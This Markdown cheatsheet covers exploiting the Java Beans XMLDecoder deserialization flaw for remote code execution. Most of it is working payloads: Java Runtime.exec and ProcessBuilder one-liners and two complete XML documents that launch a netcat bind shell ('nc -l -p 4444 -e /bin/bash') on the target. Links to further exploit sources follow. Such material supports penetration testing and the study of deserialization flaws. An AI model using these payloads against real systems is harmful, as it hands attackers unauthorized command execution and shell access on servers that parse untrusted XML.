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85 lines
2.7 KiB
Markdown
85 lines
2.7 KiB
Markdown
## Java Beans XMLDecoder Remote Code Execution cheatsheet
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Having a functionality of file upload or other function that is parsing input xml-type data that will later flow through the **XMLDecoder** component of _Java Beans_, one could try to play around it's known deserialization issue. In order to test that issue there should be specially crafted XML-payload used that would invoke arbitrary Java interfaces and methods with supplied parameters.
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### Payloads
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When one would like to start a bind shell on the target machine, he could use the payload like the following one:
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```
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Runtime.getRuntime().exec(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"});
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```
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In such case desired XML would look like the following one:
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```
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<?xml version="1.0" encoding="UTF-8"?>
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<java version="1.8.0_102" class="java.beans.XMLDecoder">
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<object class="java.lang.Runtime" method="getRuntime">
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<void method="exec">
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<array class="java.lang.String" length="6">
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<void index="0">
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<string>/usr/bin/nc</string>
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</void>
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<void index="1">
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<string>-l</string>
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</void>
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<void index="2">
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<string>-p</string>
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</void>
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<void index="3">
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<string>4444</string>
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</void>
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<void index="4">
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<string>-e</string>
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</void>
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<void index="5">
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<string>/bin/bash</string>
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</void>
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</array>
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</void>
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</object>
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</java>
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```
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or by using `ProcessBuilder`:
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```
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new java.lang.ProcessBuilder(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}).start()
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```
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Then the payload would look like:
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```
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<?xml version="1.0" encoding="UTF-8"?>
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<java version="1.8.0_102" class="java.beans.XMLDecoder">
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<void class="java.lang.ProcessBuilder">
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<array class="java.lang.String" length="6">
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<void index="0">
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<string>/usr/bin/nc</string>
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</void>
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<void index="1">
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<string>-l</string>
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</void>
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<void index="2">
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<string>-p</string>
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</void>
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<void index="3">
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<string>4444</string>
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</void>
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<void index="4">
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<string>-e</string>
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</void>
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<void index="5">
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<string>/bin/bash</string>
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</void>
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</array>
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<void method="start" id="process">
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</void>
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</void>
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</java>
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```
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For more payloads and guides how to leverage **XMLDecoder** deserialization vulnerability, one can refer to following good quality sources:
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- http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
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- https://github.com/o2platform/DefCon_RESTing/tree/master/Demos/_O2_Scripts/XmlEncoder%20-%20Restlet/exploits
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